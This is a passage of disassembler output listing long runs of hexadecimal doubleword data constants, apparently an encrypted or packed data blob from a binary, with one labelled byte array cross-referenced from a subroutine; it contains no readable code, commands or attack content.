		dd 57782658h, 0B9E6B7E9h, 0CF1F0F16h, 2F30F55Bh, 489EBFD2h
		dd 9DA341A9h, 2A920A15h, 1149AB47h, 2966C111h, 704A5355h
		dd 9C189DBh, 0E1470F49h, 0DF4FE790h, 5438127Eh,	0F4E2A0F3h
		dd 4826DEC6h, 865E3D4Dh, 3B891652h, 16C2EE7Dh, 859C22F2h
		dd 63D4F2C4h, 0F1CA94EAh, 874F0760h, 1EA2339Dh,	8B9A9DDBh
		dd 0FCF9E08h, 264FEDD7h, 576C5655h, 136139A9h, 0E9DA9669h
		dd 5CCF6793h, 0E369E0FFh, 0C5F4EB92h, 29609D24h, 0B3EFA40h
		dd 0D2A458A6h, 5BD87DB5h, 2317A8E6h, 906EFB2h, 99FF421Bh
		dd 41A06BEAh, 1705E9B8h, 0D43C5719h, 0DBEA54A0h, 4B43F831h
		dd 5A6D3401h, 8AA99A2Fh, 32403620h, 50FF40F7h, 84C11B5Dh
		dd 0E6C4F860h, 3DA43269h, 729A42C6h, 7A287CDh, 5EB06456h
		dd 952EF128h, 16768BDAh, 6B3FE56Ch, 479D7031h, 6CD44900h
		dd 0E781B1EFh, 979E2990h, 0F6F9D1E3h, 0C093A28Bh, 0CE09AADCh
		dd 784B216Eh, 7DD40EE8h, 4876EC0Ah, 1C7C5F03h, 86FF4267h
		dd 460F9B7Bh, 2681CA1Ch, 0BD476CBCh, 239A907Ch,	8B3BA026h
		dd 29BA7A52h, 79D69B55h, 621F385Ah, 4F251105h, 2139B4A6h
		dd 0DB4CA881h, 0E3DC83ABh, 92EFC769h, 0DB4B94BDh, 7E9FAEABh
		dd 573F356Bh, 7E5B3A0Dh, 0FDDF0622h, 0C7D28285h, 0B4E9BC50h
		dd 223D8E59h, 0B1EF9C4Eh, 5BD1E491h, 9AF5B5F8h,	31EF9BC5h
		dd 75CD00D9h, 96B89C52h, 0F9CE1C13h, 3195B687h,	23179FEFh
		dd 0C9ED200Ah, 0DB4B2F18h, 0FAC11C2Bh, 0CFE6D186h, 0A3EAF486h
		dd 1576F6A9h, 0B9F8A0F5h, 462A98D7h, 8B5F84A4h,	815D2F51h
		dd 0BE299534h, 69C890ADh, 0CC23B0F0h, 0F000F660h, 6EFF40F7h
		dd 0FE8957E0h, 0E11E06EBh, 660B7B17h, 0C3CAA313h, 94EB1431h
		dd 0C7F56D9h, 58412B47h, 72FF40D0h, 2A6A008Eh, 3B0B4948h
		dd 0C093D8A7h, 7DB4ABDBh, 74690995h, 74747D2Fh,	0CDFEA71Ch
		dd 0B23F3542h, 1BF8FA88h, 74786A03h, 0F52E2A1Ch, 0D858E986h
		dd 0DBEBF37Bh, 30886432h, 0E5C75E04h, 5AE3FABDh, 0AADFE5h
		dd 76271699h, 40501995h, 77DF23AEh, 8CECD4C9h, 0DD1EBECFh
		dd 102BCB1Bh, 0A2B5263Ch, 452540DDh, 4288CF0Dh,	0DE351374h
		dd 412C6AFh, 1D2C3A78h,	75F0F3FBh, 413B8A06h, 0E6837B09h
		dd 9A7BF08Dh, 325D1A1Ch, 0D77F2C61h, 752DBEF5h,	11492D4Dh
		dd 24EC7E11h, 59990654h
		dd 0B7F73EB8h, 0D50EB09Eh, 9FC18C44h, 0A07860A2h, 0C7C2E7EDh
		dd 830AA443h, 88621C6Fh, 0A2EDF165h, 826057DDh,	2B990622h
		dd 0D7A1062Bh, 9F74564Eh, 0C3CAEDA2h, 6B9AB9B2h, 0B1CAABCh
		dd 0F3BFA842h, 0F1FD714Bh, 8751F5FAh, 73A15385h, 39427C34h
		dd 1317A026h, 0A19A253Bh, 61A863C2h, 0A4A308D9h, 324698D7h
		dd 5BC06B36h, 0EA66F5FAh, 6EF2329Dh, 2969EC1h, 250B3AA6h
		dd 0BA9D0C2Dh, 4440828Dh, 40AFCF38h, 0B617A06Dh, 22AE0C01h
		dd 0B617A075h, 0BBAE0C51h, 0B617A068h, 9A650C39h, 9EE4187Fh
		dd 0D0A9F5CAh, 5E2D5756h, 8458A9C2h, 205E703Ah,	0DAAB1522h
		dd 40A6F7Fh, 55DCEFCFh,	0D214D24Bh, 5D7DC2FDh, 9BBFEB0Ch
		dd 2317ABB3h, 9EDA0BA5h, 23FA0C39h, 0F1BFA026h,	0F390E1A4h
		dd 47EB132Dh, 23FBEBA5h, 0D722A026h, 67977819h,	2317A039h
		dd 0CDA1BF7h, 23FBEBBDh, 4630A026h, 0F12956E5h,	457505BCh
		dd 538AEC3h, 6BFB47FEh,	384083C1h, 8322E53Bh, 5D98C39h
		dd 0D2A5F556h, 924ED551h, 0ECFCAA26h, 0E3F52DADh, 3AEDDE46h
		dd 0EA0286A5h, 48136494h, 0CEFEFEB3h, 0D9FBCEE0h, 0F63302CAh
		dd 900B3092h, 0C1787FBh, 0DF5F2EB6h, 6BAC90Dh, 34DA5A7Bh
		dd 3C32524Eh, 30A385EFh, 46AA1745h, 0AB702367h,	22FD78AEh
		dd 739DF1Dh, 2315FFC5h,	701B5E26h, 2317A071h, 6	dup(2317A026h)
		dd 274BB126h, 4AAFA026h, 16FAE0B7h, 200AE07Eh, 86623C4Eh
		dd 63B9B13Eh, 70AF9ECEh, 16FAE0E5h, 200AE05Ah, 8B9C233Bh
		dd 75C6F0C2h, 52BD8314h, 0BDEED0EDh, 0B9EAF88Ch, 0C721EDE6h
		dd 682DDF61h, 6162F434h, 19753719h, 14422928h, 218D1710h
		dd 785C0D54h, 0C17AC91Ch, 7556F690h, 5DE94EBh, 278707B7h
		dd 0AEB9735Eh, 8401DC3Bh, 74D601CEh, 1A7BA0F4h,	0EEF2A42Eh
		dd 0D9EA8DAAh, 34752F44h, 715DE6BAh, 5D45A0F4h,	9CC7F3C1h
		dd 9CBDFCE9h, 0F532FC03h, 0A60E33D2h, 0EEC9BEE7h, 0BFD87E69h
		dd 2317A9DCh, 2F481888h, 0B18AD527h, 5F4933F2h,	0C41C39A5h
		dd 8B76A6E0h, 2139257Bh, 2967E181h, 10ABB355h, 3EA900Ch
		dd 0C9A9732Fh, 0D7D75887h, 1F7CFF0Ch, 1B10C13Fh, 0E8DBAFF2h
		dd 0AD422393h, 0E509190Ah, 48C6AFD6h, 95DAAA47h, 2F36FF74h
		dd 0C9E8F661h, 572CE987h, 0D0687533h, 69606A7Bh, 90C3B8E7h
		dd 6EAE073Bh, 8A50957Bh, 21A64D05h, 0EE37D71Fh,	374E0C59h
		dd 823AE15Eh, 14B54AEDh, 2717A03Ch, 1F40C5D4h, 89417B8Eh
		dd 76506AB8h, 518973E3h, 738EB715h, 0FA7546E8h,	0E967FAE5h
		dd 4256DF88h, 3034F2DEh, 0E80A3FBCh, 49FDDC0Fh,	0A34F85A8h
		dd 1D1F212Bh, 202E2A55h, 21A6A67Ch, 0ECDADE54h,	0B7A4B366h
		dd 0EBAD6470h, 0A22F050Bh, 466E6FF2h, 226DCE02h, 0B1A9C25Eh
		dd 497BB09Fh, 56D7A23Ch, 139E1553h, 0BF05AA54h,	0DDE25021h
		dd 1911E739h, 21A30D41h, 2E94A026h, 348CC9C7h, 419D6F19h
		dd 0D4AC5EE2h, 0E50790h, 0E7C0BB9Dh, 0F631BA75h, 0E53D0091h
		dd 3E786864h, 3C7E7C0Ah, 5A57BD4Dh, 4805AA4Ah, 31967907h
		dd 0D9EAAAC7h, 31702E43h, 917DE5BBh, 5CBDA23Bh,	8F1FAB6h
		dd 9A05AA4Bh, 0C29C66EFh, 49FDD9F9h, 2B60C82Bh,	0DE604E8Fh
		dd 2318141Fh, 4F76826h,	72667FC1h, 31A4EC63h, 0DDC5BD23h
		dd 50C1DCFBh, 0BA24135Dh, 5C562041h, 46FF41A5h,	0B6371CBCh
		dd 0EDFF41A5h, 0AFE6DB9Ah, 0FED87DF7h, 2317A037h, 10ED1FBBh
		dd 8AB2663Bh, 5A08A0F4h, 0F9D021FBh, 0B7616781h, 2594CB1Fh
		dd 0F5EEEA5Fh, 29DC3FA4h, 3D155755h, 4E842A78h,	29DDC0C9h
		dd 4A4A5355h, 94CA4AA8h, 0DE898C31h, 2317839Ch,	4F8EB26h
		dd 784B7FC1h, 57770FE7h, 0FBCCA1EFh, 893AF46Dh,	62675DB3h
		dd 8F07405Ch, 126FE8Bh,	0D6F989A1h, 0DD65E22Bh,	0EF910A8Ch
		dd 42638896h, 265189A8h, 31EF0E4Ah, 0DDF58096h,	2A19A4BCh
		dd 0EFEFDF55h, 3EC91B66h, 5A43DFBh, 1D5C2003h, 0D0627AC4h
		dd 96E7767Ah, 0F130EE0Dh, 0E4E973B2h, 0A53558A0h, 775F55E3h
		dd 23176891h, 57F27A26h, 0C1C8021Eh, 0AEB90830h, 0A99FB739h
		dd 957D9FC8h, 0DAA8FD14h, 46013B48h, 35262078h,	0E4932B9h
		dd 0D54E74ABh, 9727BD33h, 1F2BA23Bh, 0B8B70928h, 8E928CF3h
		dd 0AE4320C0h, 0D4EC0789h, 0B7978CD1h, 577DB28Dh, 5CBDBA0Dh
		dd 0B7F6DCB7h, 0A29D088Fh, 482C9A85h, 6E7DE703h, 84C9C9E3h
		dd 7F9D679Fh, 0BC008610h, 0EE184256h, 4625981Bh, 0D102929Ch
		dd 4C4D376Ch, 88667FA2h, 0C9521454h, 81FF418Eh,	0E6CA589Bh
		dd 0BCFF41BDh, 84465CC9h, 0AB9A509Eh, 39328CA2h, 655DAF4Bh
		dd 65E5CD73h, 23838F1Eh, 8856A026h, 2C997B53h, 0FC45D955h
		dd 0F3CB0A48h, 0B4DD80D7h, 0BB8B3540h, 218DC0E2h, 0F2215354h
		dd 6594FCBDh, 110F137Dh, 3C90D593h, 32A6BFC1h, 0E122B2EFh
		dd 49FDB902h, 3430F3DDh, 0CF173708h, 5ADE7397h,	7D3D7A2Fh
		dd 8D97A4CBh, 559D59A4h, 0B2FFD0D7h, 6DBC9B96h,	665B19E7h
		dd 79C4AFE8h, 0A99A355Dh, 69CF405Dh, 0FFE8EEE8h, 8A3BFF96h
		dd 0C0C26809h, 0B2FFD1E7h, 4247BECFh, 0C4D75ED0h, 0BAB5712Fh
		dd 23EA0F8Dh, 61ADA026h, 286EB0EFh, 84A5BED9h, 4CA5C761h
		dd 79B75711h, 0AAF75D32h, 74687DBAh, 0F5BD1030h, 5431EA8Dh
		dd 0D0B57838h, 0A422B3ECh, 17862060h, 4DBB8D0h,	865E87A9h
		dd 9BB95E1Ah, 2317336Ch, 9BDBA3A5h, 23179282h, 9BDB93A5h
		dd 231675ABh, 66DBABA5h, 0DAEA5C9Ch, 0BA9D0BCh,	86110EB6h
		dd 47139F6Ch, 3D28289Dh, 0F72A3A52h, 0A4DBABA2h, 8ADABF9h
		dd 0D7E663B7h, 70738252h, 29174BE2h, 0B63DA897h, 27956223h
		dd 828F751Ah, 23FBE4BCh, 6298A026h, 2317A039h, 0FDA73BFh
		dd 5DB93A3h, 759745A5h,	2317A039h, 0B8FBE5BBh, 16C20C09h
		dd 200A82EAh, 0FB8C71C6h, 0D25DFFC5h, 24FAE0FBh, 0DD379F01h
		dd 32A72237h, 3BB33920h, 61A84196h, 0F0D4BEAAh,	0A5ECA775h
		dd 69AC19B5h, 0A3F38A5Ch, 0F013CD9Eh, 0E7EDFACFh, 1BB2FDBBh
		dd 2317A02Dh, 5566312Bh, 467E3142h, 4C16D04Ah, 78A95BA9h
		dd 0C73D2951h, 0CB62507h, 9E2A1360h, 23AF85FAh,	2317C826h
		dd 0E065A026h, 0BF6CE86h, 0DAE5DE60h, 0A3FD03A2h, 1098AACCh
		dd 762040Bh, 7598C66Fh,	9EBF460Eh, 0B2175ACEh, 9E27136Ch
		dd 0D61ED0C6h, 0A03D290Dh, 8044996h, 24FB2EFEh,	0A387D0A6h
		dd 1B7D4B13h, 2781AF3Ch, 817A026h, 0FBC9C946h, 7062AF6Dh
		dd 0C83E57BCh, 0A2129EF6h, 20229EB5h, 478BE7A3h, 0C5B33E72h
		dd 7E7B50FCh, 4528D34Eh, 64B33E72h, 36AC0D3Fh, 0E69ABF45h
		dd 0E5CEC943h, 6F793E74h, 0DD832D3Fh, 0C30A058Fh, 1FB85300h
		dd 0DD83C21Ch, 80A6BF17h, 36B84B1Eh, 9643BFDBh,	0D6444B03h
		dd 0F58B22F1h, 0E5B433CFh, 55265174h, 0E8B1BC58h, 0FF6E6701h
		dd 66B18D5Bh, 0E5C3CA05h, 0BB566774h, 60B18D5Ah, 0E5ACB875h
		dd 8A7C3E74h, 0E1024F11h, 6F3E4B03h, 0DD78BACEh, 1F458D7Dh
		dd 0DD823F90h, 0F8B4E2C9h, 0E5B41ECFh, 1F260C74h, 0B9B18CA4h
		dd 0B85A98FAh, 23563E7Dh, 62B18CD6h, 3A5286CFh,	6384E345h
		dd 36AE7FCFh, 66A36745h, 6AC984B4h, 0E5B33D88h,	0EFE64F17h
		dd 6F3E4B01h, 0DD82A6EDh, 17458D7Dh, 0DD83E560h, 0FB2709F3h
		dd 1D0C3E72h, 0AF56675Bh, 60B18D50h, 0E5ACB875h, 8A7C3E74h
		dd 0EFE64F11h, 6F3E4B01h, 0DD78BACEh, 2C138D7Dh, 2923BF18h
		dd 6F2BE66Ch, 0DD83EDFFh, 2AAE6717h, 7F45E66Ch,	0DD83DCEBh
		dd 0F40267DBh, 87784B03h
		dd 1D1B38C7h, 36DF2FD0h, 0E910D645h, 0D74FC774h, 20B18CA3h
		dd 36CF3BD0h, 0E5B33E45h, 0B5B30874h, 0E5B34A7Ah, 2CFC1E74h
		dd 0FDE76BEBh, 0FDE75D4Eh, 0E5B4D84Eh, 2C047E74h, 8DE4DA59h
		dd 0C31536FBh, 1FB98D11h, 0DD831E64h, 0E5A6524Dh, 66193E74h
		dd 0E8DE2F0Dh, 36BCE3DEh, 0BBB30845h, 0E5B34A7Ah, 2C161E74h
		dd 0FDF76BE9h, 0FDE75D4Eh, 0E5B4FA4Eh, 2CFE8074h, 0DC79D29Dh
		dd 7FB9DCB7h, 0DD823D9Fh, 0DAA5A411h, 922B0F9h,	5B170339h
		dd 25AE49F5h, 57C97301h, 0FE908B75h, 45B319D3h,	0B5B34A49h
		dd 7A7A7ECDh, 0F048EA17h, 7B813C1h, 792C5D73h, 7D914234h
		dd 465A8B0h, 3ACB3182h,	18EA6475h, 0AE37B4F3h, 1710759Fh
		dd 3B274E58h, 5E8DF7A4h, 5BBB927h, 0CFD5DAECh, 0A83932ABh
		dd 3D5A77C5h, 1C166CA6h, 0B40A334h, 0CEA0BB79h,	207FAEBEh
		dd 21A9AE78h, 357897BFh, 844092B0h, 8440A333h, 845010F8h
		dd 0C2BCBB33h, 0C817B628h, 2C4524CBh, 820619EAh, 0B2E838F8h
		dd 0CB2DBB32h, 0A417B628h, 2C4524CBh, 82060EBDh, 0B2E704F8h
		dd 0CABEBB32h, 0C017B628h, 2C4524CBh, 82060E7Dh, 0B2E760F8h
		dd 5497BB32h, 0FC17B628h, 2C4524CBh, 82067399h,	0B2E8CCF8h
		dd 54EDBB32h, 0F817B628h, 2C4524CBh, 820670ADh,	0B2E828F8h
		dd 5345BB32h, 9417B628h, 2C4524CBh, 8206073Ch, 0B2E834F8h
		dd 0BA75532h, 31C2AD07h, 38D17DF8h, 3DDC3A2Bh, 79F505D0h
		dd 8CE127E4h, 0C50AADD8h, 0A115DE99h, 0C0F2F4F0h, 7DE352C2h
		dd 3654EA95h, 0CFF0A909h, 7330B27h, 0FFB5375Eh,	235FF463h
		dd 0BACEF262h, 7BB46F61h, 0B70F70D4h, 12438EEDh, 204928B3h
		dd 0E927289Bh, 0C2694E3Ah, 3F2BD128h, 0B1BA5704h, 3DEBBB20h
		dd 4F704C2Ah, 592DA4DEh, 0C0E0E03Fh, 0B7417AE6h, 9065ED56h
		dd 89E3B438h, 2A913A8Ah, 0D65C7238h, 0A3064048h, 24E57FB7h
		dd 0C17D1787h, 0F1CAF57Eh, 0E9C09B11h, 5A34AE1Bh, 16E2E2F2h
		dd 0B90DB2DEh, 7C4BD268h, 0B92E0C86h, 0CF863B68h, 9AB802CDh
		dd 84867F50h, 466A333h,	0AD312C1Ah, 5BD3236Bh, 0E58E5ECh
		dd 253FC663h, 5B517739h, 0B3822469h, 740084ECh,	0B5DF5CBFh
		dd 0B9C73868h, 0A0C4AA33h, 0E4669A1Bh, 7DE7AC01h, 614F1F92h
		dd 52FCE212h, 0AA40A333h, 0D4758170h, 3F4EEFA0h, 131BEEE1h
		dd 4F89E36Eh, 7B60E54Ch, 0C75F8142h, 0EF7B994Bh, 0F9299769h
		dd 0E0D2B47Bh, 996F46F6h, 4C5A051h, 28B7B640h, 0AD110B8Bh
		dd 918DF020h, 0C0E8DAD2h, 584C353h, 0E5D5097Bh,	0EFAEDFF3h
		dd 57704C2Ah, 0AB8DB2C9h, 0B9EBB136h, 19ABBC68h, 28DCF454h
		dd 0AEF01E9Ch, 19393E81h, 3E95D192h, 0D038AC6Ch, 0A7D555EDh
		dd 0ED8CAC1Ch, 875E0D98h, 0B6AD36A3h, 3864B434h, 87D18779h
		dd 9C8F5392h, 0BC239110h, 84E283E1h, 5B2D4B32h,	8A729D35h
		dd 0ACD3A333h, 16ABB90Ah, 66A1EB3Dh, 7B92F4DFh,	478851F4h
		dd 709F9DB8h, 0D126A88Bh, 6D0043AEh, 6CF55360h,	0EE0EA47h
		dd 0F8F837C1h, 1F52A086h, 215FEB4Bh, 0F3B889Ah,	0ACBF0067h
		dd 0DC09CA7h, 0BC1F376Ah, 9DA783E1h, 9B9F3ABDh,	42F4AB0Fh
		dd 0DBFDD98h, 0DF8064C6h, 0FB6DAA35h, 1CAD1662h, 68A1A13Bh
		dd 8362DB5Ch, 7ED2AC01h, 8338829Dh, 7B15AC01h, 857ABE0Ch
		dd 880073C6h, 0F3694C43h, 44E62207h, 843F6B30h,	854AA233h
		dd 0E678F65Eh, 0BCAD3720h, 29564506h, 0DB1BF883h, 5E4179C7h
		dd 0A3BB9C75h, 0B84179C8h, 0F90B3344h, 0B6FDB47Bh, 6FF94D7Dh
		dd 2746C819h, 4ADB3A2Bh, 23CC06C9h, 42786C1Eh, 0AA8D7D07h
		dd 14657637h, 0AEBF9535h, 5AE809Ah, 695EC1C5h, 0B9BA5719h
		dd 79178819h, 0D811AC01h, 9BA67AC9h, 19470CB7h,	42E042CEh
		dd 74E2BAE9h, 27992FD0h, 0D320AA89h, 17B556BCh,	0A422628h
		dd 0E91D69BAh, 0D81190ACh, 0F6BBB382h, 2E290E3Dh, 843F4F6Fh
		dd 0E81F9DB2h, 41146FB9h, 74ED52ACh, 15BDF84Fh,	81D9AF65h
		dd 7C92F096h, 438550F3h, 0D27841E4h, 3A4D58EAh,	27992789h
		dd 7DAB60B9h, 7B47A361h, 0B59D8370h, 95AFCE04h,	1C2B88EBh
		dd 39A31091h, 0A238506Ch, 5A9BCE65h, 95A84433h,	0C6DDE513h
		dd 61EFF664h, 8FC7854Ch, 6FF3A942h, 0DAE8219h, 0A78D4E21h
		dd 0FA93B333h, 55F9E128h, 0CE6D6FC5h, 0B50057BBh, 0F8113142h
		dd 0D117B438h, 4B766BFDh, 0ED1019E4h, 38D17EF1h, 6CE376FBh
		dd 30987E19h, 6CE4D3F2h, 0ABC44519h, 0D0FCA60Eh, 0ED82D53Ch
		dd 0CA5EBC45h, 87FF9248h, 3CEA333h, 17492E1Ah, 21FFBC32h
		dd 74B3E8BEh, 16DAC56Dh, 8A4C0DD8h, 0B1BBAC01h,	0DB675820h
		dd 1C8FB313h, 0FF47890Eh, 41B78CDEh, 0A357770h,	0A7E38733h
		dd 44E68E16h, 84403519h, 198E6733h, 384179CDh, 85B89E8Ah
		dd 5BA15C2Dh, 60FCDC97h, 6B988850h, 0E0BE63C4h,	17478AC3h
		dd 0ECD6BC32h, 811D0A1Fh, 0B7AA9590h, 108FAC85h, 0EC478AE1h
		dd 30F8F002h, 137D717h,	374F23F2h, 0A6D8C688h, 19272589h
		dd 9554FA4Ah, 66455DE8h, 58C4216h, 2E370D52h, 15BC5D5Eh
		dd 0E684E36Eh, 7A9A7068h, 0CB572E90h, 0BC34CE70h, 44623F5Eh
		dd 855E61F9h, 67F5905Bh, 77F9A57Fh, 364E7AE7h, 8F00A824h
		dd 3ADA333h, 42492E1Ah,	1927E587h, 535F2011h, 53E2416Ch
		dd 0F081C42Eh, 0AA97C6Ah, 386247B9h, 3756D7D1h,	83D30799h
		dd 9C89AC01h, 0C4FED278h, 2571E62h, 7A7FBCBEh, 0DB5ED921h
		dd 0B49F6248h, 8538C610h, 843EFE6Ch, 0D47240AAh, 177AB414h
		dd 354179CDh, 0F6611B7Ah, 0BF4588CDh, 0AF3A2327h, 570CF50Eh
		dd 0D418AC08h, 52F2EE76h, 2E4BAC08h, 0EBDBA0BEh, 7170E214h
		dd 0CE40A31Ch, 0CD7A0F7Fh, 8B5871C6h, 0F9478C3Ah, 0BB0E3F69h
		dd 0C0A999EFh, 12F87E74h, 0CCF260F3h, 0FF2D8457h, 70FC80CEh
		dd 0C0F760E2h, 13F99C62h, 27161A64h, 65F2CEF8h,	0BFE6EA5Ah
		dd 0CF01331Fh, 33A09A80h, 0DA326903h, 0F48FE2C1h, 0EF2069CFh
		dd 2B07C760h, 0C55B1984h, 9F285F9Fh, 65A48013h,	513C6DF8h
		dd 269571AFh, 750A9EB5h, 53A3745Bh, 0F1951787h,	437E7061h
		dd 54F56742h, 0AA990841h, 3994DC47h, 6C988829h,	0C3D5A917h
		dd 309E6E69h, 8442EE0Fh, 2FD35933h, 0D5CE1153h,	4CBC01C3h
		dd 71EF6CC7h, 0D1949FCh, 0B8DC04A1h, 540698FCh,	0EDE1C9F5h
		dd 0ECD54254h, 59BF4EF8h, 4676839h, 0E7BCA90Ah,	60ED57C5h
		dd 7FC85BB0h, 0BFCCDB6Bh, 10BBAA33h, 0B2F314E6h, 0E57CEB5h
		dd 0F060E64Eh, 0F5AD36F2h, 53F87D80h, 0B9FEDC92h, 0FEB6B768h
		dd 0D51CFA15h, 0A06D12B1h, 25323426h, 0E23FBA39h, 6309AC06h
		dd 3C47BBECh, 0B8E330BDh, 83D45556h, 0AB4334BEh, 178EB232h
		dd 0DD4788E6h, 0B8CA3495h, 1931D79Bh, 0B6EEF770h, 0F424C868h
		dd 416575CEh, 8C02EB1h,	442BAC07h, 1931E864h, 5891A1EBh
		dd 1C4E364h, 7A5E0F54h,	0D4F25260h, 0E4BD594Ch,	3FA1A160h
		dd 0E0D1399h, 1B1D2E87h, 2F319463h, 81BE42C5h, 0C79CA23Bh
		dd 9524C363h, 0CE5E0FA2h, 68F109F9h, 0FF8EC8CCh, 0B4354B63h
		dd 60FD9BC0h, 8940A333h, 0BAC7B0B3h, 8DC6B910h,	4EF315FCh
		dd 85DE6594h, 3E45D07Ch, 19261A73h, 8E112A90h, 6E478A11h
		dd 0E36D3E6h, 7566C487h, 4440A333h, 8335B0B3h, 8E9D7C6Ah
		dd 363614FCh, 0B90A9EF4h, 5FF2D568h, 80E4C893h,	7295CA7Bh
		dd 6E0954A9h, 4658E64Dh, 54C38170h, 0B166AFFDh,	24F7E365h
		dd 0F040A358h, 0E7CE43C9h, 8DC44F53h, 1B68A0Ch,	266C170Ah
		dd 0C880E7Ch, 1529BD6Dh
		dd 0AE38D98Ch, 4D500ABCh, 0C7638243h, 0AADCC641h, 162A22BDh
		dd 3C07D46h, 17492E1Ah,	6FF3B1A2h, 0C204D419h, 25DBE238h
		dd 0E826299Bh, 34478AC8h, 91D2728h, 0C95DFD77h,	0E7FF73Fh
		dd 0F9678BBh, 2E3614EAh, 0C261863Ch, 61EBA021h,	161D9A95h
		dd 0B316FD89h, 93B39202h, 9CC3B908h, 0FE4F0CB7h, 342B10ECh
		dd 358FD331h, 0CFB7A88Bh, 495557F0h, 1433D99Eh,	0E463889h
		dd 0B5B7957Dh, 0A77A0F74h, 3BA02643h, 0A77BF8FDh, 8DBE6F43h
		dd 601BD20h, 8169BD8Ch,	49FA333h, 84462C1Ah, 31FF0078h
		dd 0CE478AC9h, 0E6160BF5h, 2ABA5A09h, 0BCF948FAh, 5BA15B68h
		dd 5569844Dh, 0C8DC4253h, 0B6EE44Fh, 8CFDD6E8h,	9A2FCD87h
		dd 0D833CF30h, 85DFCB4Fh, 0D882539Dh, 0C8C02EB8h, 0DD84E44Fh
		dd 29ACCA9Dh, 0CE98CE64h, 68F109F9h, 0F0E2CACAh, 51724452h
		dd 5D99DC86h, 8509F133h, 0CFDF7C91h, 0BC9832BEh, 0E72270B0h
		dd 5891343Eh, 0FB62F452h, 37B047C2h, 0EE77BA83h, 8221C57Ch
		dd 18097061h, 77FB1B55h, 0EE792E17h, 0A83C986Eh, 64E892B0h
		dd 0F195F64Ch, 7490BF69h, 0D67954FFh, 8CFEE714h, 349F31AFh
		dd 0E5791BD3h, 24D92EEAh, 0B95771A3h, 1CDEE149h, 0ACC4E365h
		dd 5BB0839Eh, 1728E84Fh, 5824E618h, 0D98567E0h,	0DE74404Ah
		dd 884604CCh, 0AD9AD48Ah, 30DC8671h, 8D697BDDh,	6B057600h
		dd 0FFDFC9FFh, 0B4ACCB7Ch, 53A27FB9h, 0C700EF47h, 0C4EE5D6Fh
		dd 465C5193h, 0D56F9EB7h, 310F1EA7h, 0D039B934h, 9B36B1C3h
		dd 7A0EA7CDh, 84B0BFF9h, 1E96A333h, 0C9D019FCh,	52A37EB9h
		dd 5E3A230Bh, 394605EFh, 9F4928B2h, 401B6D1Fh, 8289F577h
		dd 72514C43h, 5736AD9h,	5899CFEEh, 287DAA2Bh, 0C28BAC02h
		dd 706F0D21h, 41478C6Ch, 0B6543B8Fh, 9F836968h,	66D75946h
		dd 7DC666CFh, 0A2DF2CBEh, 5646FF58h, 44846DE2h,	97653EE9h
		dd 7B93158h, 1E76Fh, 67F5BF3Ah,	8646A57Fh, 6AFEAC01h, 235FB729h
		dd 71732B9Ch, 7CF747ABh, 0AEC2DE6Eh, 0D97605AFh, 17540DCAh
		dd 0DD477FFDh, 0DF6A7B95h, 0C3EF8E45h, 61E7204Ch, 5CF2D59Eh
		dd 0A7E33392h, 3D665851h, 0B5E35F83h, 0C18F1568h, 0F1CAF57Eh
		dd 0ED197318h, 6AFEE049h, 0A70DE513h, 4D5E1A2Ch, 58E48445h
		dd 125E1A3Ch, 0E0C737B0h, 763C76F3h, 0D754C1D4h, 6CCBB1EDh
		dd 405E0311h, 3C572020h, 25DBF130h, 0AFBFC032h,	5C572003h
		dd 1D7AF9F6h, 0C6F0BE56h, 8D50EA0Dh, 610E0A38h,	44BAECB0h
		dd 8479CE60h, 0F1E9A333h, 0E9BCAA2Ch, 0B5C7B0B1h, 0FFA79807h
		dd 19260FC5h, 526C293Eh, 3DBB2B61h, 6191DCE6h, 8A07321Dh
		dd 0AB07C489h, 74478AC8h, 0DD624FE8h, 8440A30Dh, 0AF3A21C2h
		dd 9DD4F50Eh, 9970AC08h, 235E0BFFh, 1F6664CBh, 62ED1869h
		dd 1AA244BEh, 88DB3141h, 8440B573h, 342A00E6h, 0DA21A3BEh
		dd 401946BFh, 850843D3h, 61F59B98h, 1FAD64BAh, 6FA28630h
		dd 766DF5E0h, 3E714CC7h, 68DAAE5h, 7DC9BCCEh
		db 61h
byte_6135F1	db 57h,	6Ah, 0DFh	; DATA XREF: sub_58A891+1FAA1o
		dd 962D6A7Fh, 8F4AD27Fh, 0E6FC073Fh, 410FBA96h,	77687BFFh
		dd 0CFDB9991h, 0EB7FE280h, 0F7DF4CDBh, 0B642560Ah, 0E13E1F68h
		dd 440D1C2Fh, 1A0B127h,	11CFAEDh, 430CE35Eh, 264861B7h
		dd 0D60CE35Eh, 0B7765FDh, 0B84F88FBh, 0EDF3794h, 5CCE20BBh
		dd 0AB2864A0h, 0BEF02A7Eh, 4A7054DCh, 9269D14Dh, 0D93B38B8h
		dd 6BE31670h, 0E1A25EC9h, 0B040A31Ch, 0BB0F7C89h, 51058D13h
		dd 0C4F6C8CCh, 0E5AC55C9h, 0CBC9B339h, 0D8E85E2Ch, 71F718CAh
		dd 0D1049FCh, 8723C184h, 6F1B6A81h, 162A377Dh, 6100BC86h
		dd 8AE68E4Ch, 4DBE8469h, 0B166AF14h, 0CD0AE972h, 0FC40A31Bh
		dd 0E3BB9FC5h, 9B05B2Fh, 2DA22659h, 22985D95h, 98841A6Fh
		dd 0B90D3168h, 0A242FE77h, 5175AEA8h, 0FB67864Fh, 9EE0DA6Dh
		dd 162A36D1h, 5DB4F442h, 0FCE68E4Ch, 0A1DE3169h, 0A6AC5851h
		dd 63FF7600h, 6FF41CA2h, 9C747519h, 39390CB7h, 790FA909h
		dd 0CBE3814Dh, 0B052A088h, 0FB7604BCh, 16D6FC2h, 64193335h
		dd 0DF8051DAh, 0C81944C0h, 6B5D01Bh, 17FBDF3Fh,	641933A9h
		dd 236371BDh, 4CA8AC97h, 844032A0h, 5F6FD233h, 4D096DA6h
		dd 0B91E7F70h, 0D86F7568h, 74FF5CA9h, 0BCB4B417h, 7B7D3C33h
		dd 0E463955h, 0C6B8987Dh, 0A9408AE9h, 7F2CD969h, 0B7FAA0A6h
		dd 0DF1A7178h, 7511106Dh, 0BBDEFC6Dh, 62592415h, 112BD8A5h
		dd 0B37800E5h, 0C4946969h, 34DE6DEh, 17A92894h,	2D6929B4h
		dd 5C40A30Fh, 0C7DBBFE5h, 0E9D079CFh, 90C9463Ah, 2B9A33Dh
		dd 0F8A52F10h, 1CEDD208h, 82241DD8h, 0B155CE88h, 5B47A5AFh
		dd 7E00EF4Dh, 162A3871h, 91D490A2h, 8440A2D8h, 0E87257CBh
		dd 0F66E6E8h, 98B03411h, 7DB958DAh, 72514B61h, 0F6A25DD9h
		dd 0BAD6A6ECh, 6A5551Eh, 1914D21Eh, 334F1CD7h, 43E4328Ch
